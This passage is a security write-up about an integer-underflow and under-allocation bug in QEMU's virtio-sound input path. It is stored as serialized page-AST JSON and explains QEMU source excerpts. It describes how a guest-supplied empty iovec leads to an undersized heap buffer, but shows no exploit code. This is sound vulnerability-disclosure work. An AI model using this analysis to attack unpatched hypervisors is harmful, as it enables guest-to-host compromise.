vq;\n",{"type":23,"tag":134,"props":123758,"children":123759},{"class":136,"line":8571},[123760,123764,123768,123773,123777,123781],{"type":23,"tag":134,"props":123761,"children":123762},{"style":162},[123763],{"type":28,"value":123715},{"type":23,"tag":134,"props":123765,"children":123766},{"style":179},[123767],{"type":28,"value":13225},{"type":23,"tag":134,"props":123769,"children":123770},{"style":162},[123771],{"type":28,"value":123772},"size",{"type":23,"tag":134,"props":123774,"children":123775},{"style":168},[123776],{"type":28,"value":171},{"type":23,"tag":134,"props":123778,"children":123779},{"style":205},[123780],{"type":28,"value":208},{"type":23,"tag":134,"props":123782,"children":123783},{"style":179},[123784],{"type":28,"value":182},{"type":23,"tag":134,"props":123786,"children":123787},{"class":136,"line":8677},[123788,123792,123796,123800,123804,123808],{"type":23,"tag":134,"props":123789,"children":123790},{"style":162},[123791],{"type":28,"value":123715},{"type":23,"tag":134,"props":123793,"children":123794},{"style":179},[123795],{"type":28,"value":13225},{"type":23,"tag":134,"props":123797,"children":123798},{"style":162},[123799],{"type":28,"value":13369},{"type":23,"tag":134,"props":123801,"children":123802},{"style":168},[123803],{"type":28,"value":171},{"type":23,"tag":134,"props":123805,"children":123806},{"style":205},[123807],{"type":28,"value":208},{"type":23,"tag":134,"props":123809,"children":123810},{"style":179},[123811],{"type":28,"value":182},{"type":23,"tag":134,"props":123813,"children":123814},{"class":136,"line":22988},[123815,123820,123824,123828,123832,123836,123841,123846],{"type":23,"tag":134,"props":123816,"children":123817},{"style":264},[123818],{"type":28,"value":123819},"            QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":134,"props":123821,"children":123822},{"style":179},[123823],{"type":28,"value":272},{"type":23,"tag":134,"props":123825,"children":123826},{"style":168},[123827],{"type":28,"value":277},{"type":23,"tag":134,"props":123829,"children":123830},{"style":162},[123831],{"type":28,"value":35759},{"type":23,"tag":134,"props":123833,"children":123834},{"style":179},[123835],{"type":28,"value":13225},{"type":23,"tag":134,"props":123837,"children":123838},{"style":162},[123839],{"type":28,"value":123840},"queue",{"type":23,"tag":134,"props":123842,"children":123843},{"style":179},[123844],{"type":28,"value":123845},", buffer, entry);",{"type":23,"tag":134,"props":123847,"children":123848},{"style":141},[123849],{"type":28,"value":52135},{"type":23,"tag":134,"props":123851,"children":123852},{"class":136,"line":23023},[123853],{"type":23,"tag":134,"props":123854,"children":123855},{"style":179},[123856],{"type":28,"value":524},{"type":23,"tag":134,"props":123858,"children":123859},{"class":136,"line":23031},[123860,123865],{"type":23,"tag":134,"props":123861,"children":123862},{"style":189},[123863],{"type":28,"value":123864},"        continue",{"type":23,"tag":134,"props":123866,"children":123867},{"style":179},[123868],{"type":28,"value":182},{"type":23,"tag":134,"props":123870,"children":123871},{"class":136,"line":23039},[123872],{"type":23,"tag":134,"props":123873,"children":123874},{"emptyLinePlaceholder":15},[123875],{"type":28,"value":865},{"type":23,"tag":134,"props":123877,"children":123878},{"class":136,"line":23048},[123879],{"type":23,"tag":134,"props":123880,"children":123881},{"style":179},[123882],{"type":28,"value":123551},{"type":23,"tag":134,"props":123884,"children":123885},{"class":136,"line":23090},[123886],{"type":23,"tag":134,"props":123887,"children":123888},{"style":179},[123889],{"type":28,"value":1098},{"type":23,"tag":24,"props":123891,"children":123892},{},[123893,123895,123901,123903,123909,123911,123916,123917,123923],{"type":28,"value":123894},"At ",{"type":23,"tag":92,"props":123896,"children":123898},{"className":123897},[],[123899],{"type":28,"value":123900},"[1]",{"type":28,"value":123902},", a ",{"type":23,"tag":92,"props":123904,"children":123906},{"className":123905},[],[123907],{"type":28,"value":123908},"VirtQueueElement *elem",{"type":28,"value":123910}," is popped from the virtqueue. It contains the ",{"type":23,"tag":92,"props":123912,"children":123914},{"className":123913},[],[123915],{"type":28,"value":123625},{"type":28,"value":10458},{"type":23,"tag":92,"props":123918,"children":123920},{"className":123919},[],[123921],{"type":28,"value":123922},"out_sg",{"type":28,"value":123924}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":24,"props":123926,"children":123927},{},[123928,123930,123936,123938,123944,123946,123952,123954,123960,123962,123968],{"type":28,"value":123929},"Further at ",{"type":23,"tag":92,"props":123931,"children":123933},{"className":123932},[],[123934],{"type":28,"value":123935},"[2]",{"type":28,"value":123937},", the device computes the size of the data buffer as ",{"type":23,"tag":92,"props":123939,"children":123941},{"className":123940},[],[123942],{"type":28,"value":123943},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":28,"value":123945},". That value is then used in the allocation: ",{"type":23,"tag":92,"props":123947,"children":123949},{"className":123948},[],[123950],{"type":28,"value":123951},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":28,"value":123953},". Finally, at ",{"type":23,"tag":92,"props":123955,"children":123957},{"className":123956},[],[123958],{"type":28,"value":123959},"[3]",{"type":28,"value":123961},", the newly allocated buffer is appended to the ",{"type":23,"tag":92,"props":123963,"children":123965},{"className":123964},[],[123966],{"type":28,"value":123967},"stream->queue",{"type":28,"value":123969}," linked list.",{"type":23,"tag":24,"props":123971,"children":123972},{},[123973,123975,123980,123982,123987,123989,123994,123996,124002],{"type":28,"value":123974},"Because both the ",{"type":23,"tag":92,"props":123976,"children":123978},{"className":123977},[],[123979],{"type":28,"value":123625},{"type":28,"value":123981}," iovec and the ",{"type":23,"tag":92,"props":123983,"children":123985},{"className":123984},[],[123986],{"type":28,"value":123642},{"type":28,"value":123988}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":92,"props":123990,"children":123992},{"className":123991},[],[123993],{"type":28,"value":123625},{"type":28,"value":123995}," size is at least ",{"type":23,"tag":92,"props":123997,"children":123999},{"className":123998},[],[124000],{"type":28,"value":124001},"sizeof(virtio_snd_pcm_status)",{"type":28,"value":124003},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":24,"props":124005,"children":124006},{},[124007,124009,124014,124016,124022,124024,124030,124032,124038],{"type":28,"value":124008},"From the guest driver, we can provide an empty ",{"type":23,"tag":92,"props":124010,"children":124012},{"className":124011},[],[124013],{"type":28,"value":123625},{"type":28,"value":124015}," iovec. In that case, the calculation becomes ",{"type":23,"tag":92,"props":124017,"children":124019},{"className":124018},[],[124020],{"type":28,"value":124021},"0 - sizeof(virtio_snd_pcm_status)",{"type":28,"value":124023},", so the allocation size effectively becomes ",{"type":23,"tag":92,"props":124025,"children":124027},{"className":124026},[],[124028],{"type":28,"value":124029},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":28,"value":124031},". Given the definition of ",{"type":23,"tag":92,"props":124033,"children":124035},{"className":124034},[],[124036],{"type":28,"value":124037},"VirtIOSoundPCMBuffer",{"type":28,"value":1697},{"type":23,"tag":87,"props":124040,"children":124042},{"code":124041,"language":315,"meta":7,"className":15985,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[124043],{"type":23,"tag":92,"props":124044,"children":124045},{"__ignoreMap":7},[124046,124058,124071,124086,124103,124115,124127,124135,124147,124167],{"type":23,"tag":134,"props":124047,"children":124048},{"class":136,"line":137},[124049,124053],{"type":23,"tag":134,"props":124050,"children":124051},{"style":151},[124052],{"type":28,"value":8864},{"type":23,"tag":134,"props":124054,"children":124055},{"style":179},[124056],{"type":28,"value":124057}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":134,"props":124059,"children":124060},{"class":136,"line":147},[124061,124066],{"type":23,"tag":134,"props":124062,"children":124063},{"style":264},[124064],{"type":28,"value":124065},"    QSIMPLEQ_ENTRY",{"type":23,"tag":134,"props":124067,"children":124068},{"style":179},[124069],{"type":28,"value":124070},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":134,"props":124072,"children":124073},{"class":136,"line":185},[124074,124078,124082],{"type":23,"tag":134,"props":124075,"children":124076},{"style":179},[124077],{"type":28,"value":123403},{"type":23,"tag":134,"props":124079,"children":124080},{"style":168},[124081],{"type":28,"value":1777},{"type":23,"tag":134,"props":124083,"children":124084},{"style":179},[124085],{"type":28,"value":123412},{"type":23,"tag":134,"props":124087,"children":124088},{"class":136,"line":221},[124089,124094,124098],{"type":23,"tag":134,"props":124090,"children":124091},{"style":179},[124092],{"type":28,"value":124093},"    VirtQueue ",{"type":23,"tag":134,"props":124095,"children":124096},{"style":168},[124097],{"type":28,"value":1777},{"type":23,"tag":134,"props":124099,"children":124100},{"style":179},[124101],{"type":28,"value":124102},"vq;\n",{"type":23,"tag":134,"props":124104,"children":124105},{"class":136,"line":332},[124106,124110],{"type":23,"tag":134,"props":124107,"children":124108},{"style":151},[124109],{"type":28,"value":16035},{"type":23,"tag":134,"props":124111,"children":124112},{"style":179},[124113],{"type":28,"value":124114}," size;\n",{"type":23,"tag":134,"props":124116,"children":124117},{"class":136,"line":438},[124118,124122],{"type":23,"tag":134,"props":124119,"children":124120},{"style":151},[124121],{"type":28,"value":55119},{"type":23,"tag":134,"props":124123,"children":124124},{"style":179},[124125],{"type":28,"value":124126}," offset;\n",{"type":23,"tag":134,"props":124128,"children":124129},{"class":136,"line":466},[124130],{"type":23,"tag":134,"props":124131,"children":124132},{"style":141},[124133],{"type":28,"value":124134},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":134,"props":124136,"children":124137},{"class":136,"line":479},[124138,124142],{"type":23,"tag":134,"props":124139,"children":124140},{"style":151},[124141],{"type":28,"value":45977},{"type":23,"tag":134,"props":124143,"children":124144},{"style":179},[124145],{"type":28,"value":124146}," populated;\n",{"type":23,"tag":134,"props":124148,"children":124149},{"class":136,"line":497},[124150,124154,124158,124163],{"type":23,"tag":134,"props":124151,"children":124152},{"style":151},[124153],{"type":28,"value":57964},{"type":23,"tag":134,"props":124155,"children":124156},{"style":179},[124157],{"type":28,"value":14573},{"type":23,"tag":134,"props":124159,"children":124160},{"style":151},[124161],{"type":28,"value":124162},"[]",{"type":23,"tag":134,"props":124164,"children":124165},{"style":179},[124166],{"type":28,"value":182},{"type":23,"tag":134,"props":124168,"children":124169},{"class":136,"line":518},[124170],{"type":23,"tag":134,"props":124171,"children":124172},{"style":179},[124173],{"type":28,"value":16048},{"type":23,"tag":24,"props":124175,"children":124176},{},[124177,124179,124185,124187,124192,124194,124199,124201,124206,124208,124213,124215,124221],{"type":28,"value":124178},"That under-allocation removes the ",{"type":23,"tag":92,"props":124180,"children":124182},{"className":124181},[],[124183],{"type":28,"value":124184},"populated",{"type":28,"value":124186}," field along with the variable-sized ",{"type":23,"tag":92,"props":124188,"children":124190},{"className":124189},[],[124191],{"type":28,"value":892},{"type":28,"value":124193}," array. As the comment says, ",{"type":23,"tag":92,"props":124195,"children":124197},{"className":124196},[],[124198],{"type":28,"value":124184},{"type":28,"value":124200}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":92,"props":124202,"children":124204},{"className":124203},[],[124205],{"type":28,"value":1214},{"type":28,"value":124207},", the device believes data should be ",{"type":23,"tag":92,"props":124209,"children":124211},{"className":124210},[],[124212],{"type":28,"value":1214},{"type":28,"value":124214}," byte, while the actual allocation is ",{"type":23,"tag":92,"props":124216,"children":124218},{"className":124217},[],[124219],{"type":28,"value":124220},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":28,"value":720},{"type":23,"tag":18368,"props":124223,"children":124225},{"id":124224},"populating-data-buffers",[124226],{"type":28,"value":124227},"Populating Data Buffers",{"type":23,"tag":24,"props":124229,"children":124230},{},[124231],{"type":28,"value":124232},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":87,"props":124234,"children":124236},{"code":124235,"language":315,"meta":7,"className":15985,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[124237],{"type":23,"tag":92,"props":124238,"children":124239},{"__ignoreMap":7},[124240,124247,124255,124262,124270,124278,124285,124334,124341,124367,124384,124396,124403,124435,124480,124520,124527,124535,124542,124567,124595,124619,124627,124639,124677,124690,124702,124709,124755,124792,124835,124856,124876,124896,124907,124914,124937,124953,124961,124968,124975,124982],{"type":23,"tag":134,"props":124241,"children":124242},{"class":136,"line":137},[124243],{"type":23,"tag":134,"props":124244,"children":124245},{"style":141},[124246],{"type":28,"value":48871},{"type":23,"tag":134,"props":124248,"children":124249},{"class":136,"line":147},[124250],{"type":23,"tag":134,"props":124251,"children":124252},{"style":141},[124253],{"type":28,"value":124254}," * AUD_* input callback.\n",{"type":23,"tag":134,"props":124256,"children":124257},{"class":136,"line":185},[124258],{"type":23,"tag":134,"props":124259,"children":124260},{"style":141},[124261],{"type":28,"value":18965},{"type":23,"tag":134,"props":124263,"children":124264},{"class":136,"line":221},[124265],{"type":23,"tag":134,"props":124266,"children":124267},{"style":141},[124268],{"type":28,"value":124269}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":134,"props":124271,"children":124272},{"class":136,"line":332},[124273],{"type":23,"tag":134,"props":124274,"children":124275},{"style":141},[124276],{"type":28,"value":124277}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":134,"props":124279,"children":124280},{"class":136,"line":438},[124281],{"type":23,"tag":134,"props":124282,"children":124283},{"style":141},[124284],{"type":28,"value":123340},{"type":23,"tag":134,"props":124286,"children":124287},{"class":136,"line":466},[124288,124292,124296,124301,124305,124309,124313,124317,124321,124325,124330],{"type":23,"tag":134,"props":124289,"children":124290},{"style":151},[124291],{"type":28,"value":50550},{"type":23,"tag":134,"props":124293,"children":124294},{"style":151},[124295],{"type":28,"value":50555},{"type":23,"tag":134,"props":124297,"children":124298},{"style":264},[124299],{"type":28,"value":124300}," virtio_snd_pcm_in_cb",{"type":23,"tag":134,"props":124302,"children":124303},{"style":179},[124304],{"type":28,"value":272},{"type":23,"tag":134,"props":124306,"children":124307},{"style":151},[124308],{"type":28,"value":51133},{"type":23,"tag":134,"props":124310,"children":124311},{"style":168},[124312],{"type":28,"value":9281},{"type":23,"tag":134,"props":124314,"children":124315},{"style":162},[124316],{"type":28,"value":892},{"type":23,"tag":134,"props":124318,"children":124319},{"style":179},[124320],{"type":28,"value":242},{"type":23,"tag":134,"props":124322,"children":124323},{"style":151},[124324],{"type":28,"value":18523},{"type":23,"tag":134,"props":124326,"children":124327},{"style":162},[124328],{"type":28,"value":124329}," available",{"type":23,"tag":134,"props":124331,"children":124332},{"style":179},[124333],{"type":28,"value":329},{"type":23,"tag":134,"props":124335,"children":124336},{"class":136,"line":479},[124337],{"type":23,"tag":134,"props":124338,"children":124339},{"style":179},[124340],{"type":28,"value":10346},{"type":23,"tag":134,"props":124342,"children":124343},{"class":136,"line":497},[124344,124349,124353,124358,124362],{"type":23,"tag":134,"props":124345,"children":124346},{"style":179},[124347],{"type":28,"value":124348},"    VirtIOSoundPCMStream ",{"type":23,"tag":134,"props":124350,"children":124351},{"style":168},[124352],{"type":28,"value":1777},{"type":23,"tag":134,"props":124354,"children":124355},{"style":179},[124356],{"type":28,"value":124357},"stream ",{"type":23,"tag":134,"props":124359,"children":124360},{"style":168},[124361],{"type":28,"value":257},{"type":23,"tag":134,"props":124363,"children":124364},{"style":179},[124365],{"type":28,"value":124366}," data;\n",{"type":23,"tag":134,"props":124368,"children":124369},{"class":136,"line":518},[124370,124375,124379],{"type":23,"tag":134,"props":124371,"children":124372},{"style":179},[124373],{"type":28,"value":124374},"    VirtIOSoundPCMBuffer ",{"type":23,"tag":134,"props":124376,"children":124377},{"style":168},[124378],{"type":28,"value":1777},{"type":23,"tag":134,"props":124380,"children":124381},{"style":179},[124382],{"type":28,"value":124383},"buffer;\n",{"type":23,"tag":134,"props":124385,"children":124386},{"class":136,"line":527},[124387,124391],{"type":23,"tag":134,"props":124388,"children":124389},{"style":151},[124390],{"type":28,"value":16035},{"type":23,"tag":134,"props":124392,"children":124393},{"style":179},[124394],{"type":28,"value":124395}," size, max_size;\n",{"type":23,"tag":134,"props":124397,"children":124398},{"class":136,"line":780},[124399],{"type":23,"tag":134,"props":124400,"children":124401},{"emptyLinePlaceholder":15},[124402],{"type":28,"value":865},{"type":23,"tag":134,"props":124404,"children":124405},{"class":136,"line":797},[124406,124411,124415,124419,124423,124427,124431],{"type":23,"tag":134,"props":124407,"children":124408},{"style":264},[124409],{"type":28,"value":124410},"    WITH_QEMU_LOCK_GUARD",{"type":23,"tag":134,"props":124412,"children":124413},{"style":179},[124414],{"type":28,"value":272},{"type":23,"tag":134,"props":124416,"children":124417},{"style":168},[124418],{"type":28,"value":277},{"type":23,"tag":134,"props":124420,"children":124421},{"style":162},[124422],{"type":28,"value":35759},{"type":23,"tag":134,"props":124424,"children":124425},{"style":179},[124426],{"type":28,"value":13225},{"type":23,"tag":134,"props":124428,"children":124429},{"style":162},[124430],{"type":28,"value":123587},{"type":23,"tag":134,"props":124432,"children":124433},{"style":179},[124434],{"type":28,"value":14272},{"type":23,"tag":134,"props":124436,"children":124437},{"class":136,"line":814},[124438,124443,124447,124451,124456,124460,124464,124468,124472,124476],{"type":23,"tag":134,"props":124439,"children":124440},{"style":189},[124441],{"type":28,"value":124442},"        while",{"type":23,"tag":134,"props":124444,"children":124445},{"style":179},[124446],{"type":28,"value":232},{"type":23,"tag":134,"props":124448,"children":124449},{"style":168},[124450],{"type":28,"value":20099},{"type":23,"tag":134,"props":124452,"children":124453},{"style":264},[124454],{"type":28,"value":124455},"QSIMPLEQ_EMPTY",{"type":23,"tag":134,"props":124457,"children":124458},{"style":179},[124459],{"type":28,"value":272},{"type":23,"tag":134,"props":124461,"children":124462},{"style":168},[124463],{"type":28,"value":277},{"type":23,"tag":134,"props":124465,"children":124466},{"style":162},[124467],{"type":28,"value":35759},{"type":23,"tag":134,"props":124469,"children":124470},{"style":179},[124471],{"type":28,"value":13225},{"type":23,"tag":134,"props":124473,"children":124474},{"style":162},[124475],{"type":28,"value":123840},{"type":23,"tag":134,"props":124477,"children":124478},{"style":179},[124479],{"type":28,"value":34691},{"type":23,"tag":134,"props":124481,"children":124482},{"class":136,"line":827},[124483,124487,124491,124496,124500,124504,124508,124512,124516],{"type":23,"tag":134,"props":124484,"children":124485},{"style":179},[124486],{"type":28,"value":123676},{"type":23,"tag":134,"props":124488,"children":124489},{"style":168},[124490],{"type":28,"value":257},{"type":23,"tag":134,"props":124492,"children":124493},{"style":264},[124494],{"type":28,"value":124495}," QSIMPLEQ_FIRST",{"type":23,"tag":134,"props":124497,"children":124498},{"style":179},[124499],{"type":28,"value":272},{"type":23,"tag":134,"props":124501,"children":124502},{"style":168},[124503],{"type":28,"value":277},{"type":23,"tag":134,"props":124505,"children":124506},{"style":162},[124507],{"type":28,"value":35759},{"type":23,"tag":134,"props":124509,"children":124510},{"style":179},[124511],{"type":28,"value":13225},{"type":23,"tag":134,"props":124513,"children":124514},{"style":162},[124515],{"type":28,"value":123840},{"type":23,"tag":134,"props":124517,"children":124518},{"style":179},[124519],{"type":28,"value":1021},{"type":23,"tag":134,"props":124521,"children":124522},{"class":136,"line":836},[124523],{"type":23,"tag":134,"props":124524,"children":124525},{"emptyLinePlaceholder":15},[124526],{"type":28,"value":865},{"type":23,"tag":134,"props":124528,"children":124529},{"class":136,"line":859},[124530],{"type":23,"tag":134,"props":124531,"children":124532},{"style":179},[124533],{"type":28,"value":124534},"            [...]\n",{"type":23,"tag":134,"props":124536,"children":124537},{"class":136,"line":868},[124538],{"type":23,"tag":134,"props":124539,"children":124540},{"emptyLinePlaceholder":15},[124541],{"type":28,"value":865},{"type":23,"tag":134,"props":124543,"children":124544},{"class":136,"line":877},[124545,124550,124554,124558,124562],{"type":23,"tag":134,"props":124546,"children":124547},{"style":179},[124548],{"type":28,"value":124549},"            max_size ",{"type":23,"tag":134,"props":124551,"children":124552},{"style":168},[124553],{"type":28,"value":257},{"type":23,"tag":134,"props":124555,"children":124556},{"style":264},[124557],{"type":28,"value":123608},{"type":23,"tag":134,"props":124559,"children":124560},{"style":179},[124561],{"type":28,"value":272},{"type":23,"tag":134,"props":124563,"children":124564},{"style":141},[124565],{"type":28,"value":124566},"                    // [1]\n",{"type":23,"tag":134,"props":124568,"children":124569},{"class":136,"line":946},[124570,124575,124579,124583,124587,124591],{"type":23,"tag":134,"props":124571,"children":124572},{"style":162},[124573],{"type":28,"value":124574},"                buffer",{"type":23,"tag":134,"props":124576,"children":124577},{"style":179},[124578],{"type":28,"value":13225},{"type":23,"tag":134,"props":124580,"children":124581},{"style":162},[124582],{"type":28,"value":51570},{"type":23,"tag":134,"props":124584,"children":124585},{"style":179},[124586],{"type":28,"value":13225},{"type":23,"tag":134,"props":124588,"children":124589},{"style":162},[124590],{"type":28,"value":123625},{"type":23,"tag":134,"props":124592,"children":124593},{"style":179},[124594],{"type":28,"value":687},{"type":23,"tag":134,"props":124596,"children":124597},{"class":136,"line":954},[124598,124602,124606,124610,124614],{"type":23,"tag":134,"props":124599,"children":124600},{"style":162},[124601],{"type":28,"value":124574},{"type":23,"tag":134,"props":124603,"children":124604},{"style":179},[124605],{"type":28,"value":13225},{"type":23,"tag":134,"props":124607,"children":124608},{"style":162},[124609],{"type":28,"value":51570},{"type":23,"tag":134,"props":124611,"children":124612},{"style":179},[124613],{"type":28,"value":13225},{"type":23,"tag":134,"props":124615,"children":124616},{"style":162},[124617],{"type":28,"value":124618},"in_num\n",{"type":23,"tag":134,"props":124620,"children":124621},{"class":136,"line":984},[124622],{"type":23,"tag":134,"props":124623,"children":124624},{"style":179},[124625],{"type":28,"value":124626},"            );\n",{"type":23,"tag":134,"props":124628,"children":124629},{"class":136,"line":992},[124630,124635],{"type":23,"tag":134,"props":124631,"children":124632},{"style":189},[124633],{"type":28,"value":124634},"            for",{"type":23,"tag":134,"props":124636,"children":124637},{"style":179},[124638],{"type":28,"value":123438},{"type":23,"tag":134,"props":124640,"children":124641},{"class":136,"line":1024},[124642,124646,124650,124655,124659,124663,124667,124672],{"type":23,"tag":134,"props":124643,"children":124644},{"style":189},[124645],{"type":28,"value":103032},{"type":23,"tag":134,"props":124647,"children":124648},{"style":179},[124649],{"type":28,"value":232},{"type":23,"tag":134,"props":124651,"children":124652},{"style":162},[124653],{"type":28,"value":124654},"buffer",{"type":23,"tag":134,"props":124656,"children":124657},{"style":179},[124658],{"type":28,"value":13225},{"type":23,"tag":134,"props":124660,"children":124661},{"style":162},[124662],{"type":28,"value":123772},{"type":23,"tag":134,"props":124664,"children":124665},{"style":168},[124666],{"type":28,"value":7761},{"type":23,"tag":134,"props":124668,"children":124669},{"style":179},[124670],{"type":28,"value":124671}," max_size) {",{"type":23,"tag":134,"props":124673,"children":124674},{"style":141},[124675],{"type":28,"value":124676},"     // [2]\n",{"type":23,"tag":134,"props":124678,"children":124679},{"class":136,"line":1032},[124680,124685],{"type":23,"tag":134,"props":124681,"children":124682},{"style":264},[124683],{"type":28,"value":124684},"                    return_rx_buffer",{"type":23,"tag":134,"props":124686,"children":124687},{"style":179},[124688],{"type":28,"value":124689},"(stream, buffer);\n",{"type":23,"tag":134,"props":124691,"children":124692},{"class":136,"line":1092},[124693,124698],{"type":23,"tag":134,"props":124694,"children":124695},{"style":189},[124696],{"type":28,"value":124697},"                    break",{"type":23,"tag":134,"props":124699,"children":124700},{"style":179},[124701],{"type":28,"value":182},{"type":23,"tag":134,"props":124703,"children":124704},{"class":136,"line":8508},[124705],{"type":23,"tag":134,"props":124706,"children":124707},{"style":179},[124708],{"type":28,"value":70581},{"type":23,"tag":134,"props":124710,"children":124711},{"class":136,"line":8526},[124712,124717,124721,124726,124730,124734,124738,124743,124747,124751],{"type":23,"tag":134,"props":124713,"children":124714},{"style":179},[124715],{"type":28,"value":124716},"                size ",{"type":23,"tag":134,"props":124718,"children":124719},{"style":168},[124720],{"type":28,"value":257},{"type":23,"tag":134,"props":124722,"children":124723},{"style":264},[124724],{"type":28,"value":124725}," AUD_read",{"type":23,"tag":134,"props":124727,"children":124728},{"style":179},[124729],{"type":28,"value":272},{"type":23,"tag":134,"props":124731,"children":124732},{"style":162},[124733],{"type":28,"value":35759},{"type":23,"tag":134,"props":124735,"children":124736},{"style":179},[124737],{"type":28,"value":13225},{"type":23,"tag":134,"props":124739,"children":124740},{"style":162},[124741],{"type":28,"value":124742},"voice",{"type":23,"tag":134,"props":124744,"children":124745},{"style":179},[124746],{"type":28,"value":720},{"type":23,"tag":134,"props":124748,"children":124749},{"style":162},[124750],{"type":28,"value":95010},{"type":23,"tag":134,"props":124752,"children":124753},{"style":179},[124754],{"type":28,"value":687},{"type":23,"tag":134,"props":124756,"children":124757},{"class":136,"line":8571},[124758,124763,124767,124771,124775,124780,124784,124788],{"type":23,"tag":134,"props":124759,"children":124760},{"style":162},[124761],{"type":28,"value":124762},"                        buffer",{"type":23,"tag":134,"props":124764,"children":124765},{"style":179},[124766],{"type":28,"value":13225},{"type":23,"tag":134,"props":124768,"children":124769},{"style":162},[124770],{"type":28,"value":892},{"type":23,"tag":134,"props":124772,"children":124773},{"style":168},[124774],{"type":28,"value":8365},{"type":23,"tag":134,"props":124776,"children":124777},{"style":162},[124778],{"type":28,"value":124779}," buffer",{"type":23,"tag":134,"props":124781,"children":124782},{"style":179},[124783],{"type":28,"value":13225},{"type":23,"tag":134,"props":124785,"children":124786},{"style":162},[124787],{"type":28,"value":123772},{"type":23,"tag":134,"props":124789,"children":124790},{"style":179},[124791],{"type":28,"value":687},{"type":23,"tag":134,"props":124793,"children":124794},{"class":136,"line":8677},[124795,124800,124805,124809,124813,124817,124821,124826,124830],{"type":23,"tag":134,"props":124796,"children":124797},{"style":264},[124798],{"type":28,"value":124799},"                        MIN",{"type":23,"tag":134,"props":124801,"children":124802},{"style":179},[124803],{"type":28,"value":124804},"(available, (",{"type":23,"tag":134,"props":124806,"children":124807},{"style":162},[124808],{"type":28,"value":35759},{"type":23,"tag":134,"props":124810,"children":124811},{"style":179},[124812],{"type":28,"value":13225},{"type":23,"tag":134,"props":124814,"children":124815},{"style":162},[124816],{"type":28,"value":97794},{"type":23,"tag":134,"props":124818,"children":124819},{"style":179},[124820],{"type":28,"value":720},{"type":23,"tag":134,"props":124822,"children":124823},{"style":162},[124824],{"type":28,"value":124825},"period_bytes",{"type":23,"tag":134,"props":124827,"children":124828},{"style":168},[124829],{"type":28,"value":50761},{"type":23,"tag":134,"props":124831,"children":124832},{"style":141},[124833],{"type":28,"value":124834},"     // [3]\n",{"type":23,"tag":134,"props":124836,"children":124837},{"class":136,"line":22988},[124838,124843,124847,124851],{"type":23,"tag":134,"props":124839,"children":124840},{"style":162},[124841],{"type":28,"value":124842},"                                        buffer",{"type":23,"tag":134,"props":124844,"children":124845},{"style":179},[124846],{"type":28,"value":13225},{"type":23,"tag":134,"props":124848,"children":124849},{"style":162},[124850],{"type":28,"value":123772},{"type":23,"tag":134,"props":124852,"children":124853},{"style":179},[124854],{"type":28,"value":124855},")));\n",{"type":23,"tag":134,"props":124857,"children":124858},{"class":136,"line":23023},[124859,124863,124867,124871],{"type":23,"tag":134,"props":124860,"children":124861},{"style":189},[124862],{"type":28,"value":103032},{"type":23,"tag":134,"props":124864,"children":124865},{"style":179},[124866],{"type":28,"value":232},{"type":23,"tag":134,"props":124868,"children":124869},{"style":168},[124870],{"type":28,"value":20099},{"type":23,"tag":134,"props":124872,"children":124873},{"style":179},[124874],{"type":28,"value":124875},"size) {\n",{"type":23,"tag":134,"props":124877,"children":124878},{"class":136,"line":23031},[124879,124884,124888,124892],{"type":23,"tag":134,"props":124880,"children":124881},{"style":179},[124882],{"type":28,"value":124883},"                    available ",{"type":23,"tag":134,"props":124885,"children":124886},{"style":168},[124887],{"type":28,"value":257},{"type":23,"tag":134,"props":124889,"children":124890},{"style":205},[124891],{"type":28,"value":208},{"type":23,"tag":134,"props":124893,"children":124894},{"style":179},[124895],{"type":28,"value":182},{"type":23,"tag":134,"props":124897,"children":124898},{"class":136,"line":23039},[124899,124903],{"type":23,"tag":134,"props":124900,"children":124901},{"style":189},[124902],{"type":28,"value":124697},{"type":23,"tag":134,"props":124904,"children":124905},{"style":179},[124906],{"type":28,"value":182},{"type":23,"tag":134,"props":124908,"children":124909},{"class":136,"line":23048},[124910],{"type":23,"tag":134,"props":124911,"children":124912},{"style":179},[124913],{"type":28,"value":70581},{"type":23,"tag":134,"props":124915,"children":124916},{"class":136,"line":23090},[124917,124921,124925,124929,124933],{"type":23,"tag":134,"props":124918,"children":124919},{"style":162},[124920],{"type":28,"value":124574},{"type":23,"tag":134,"props":124922,"children":124923},{"style":179},[124924],{"type":28,"value":13225},{"type":23,"tag":134,"props":124926,"children":124927},{"style":162},[124928],{"type":28,"value":123772},{"type":23,"tag":134,"props":124930,"c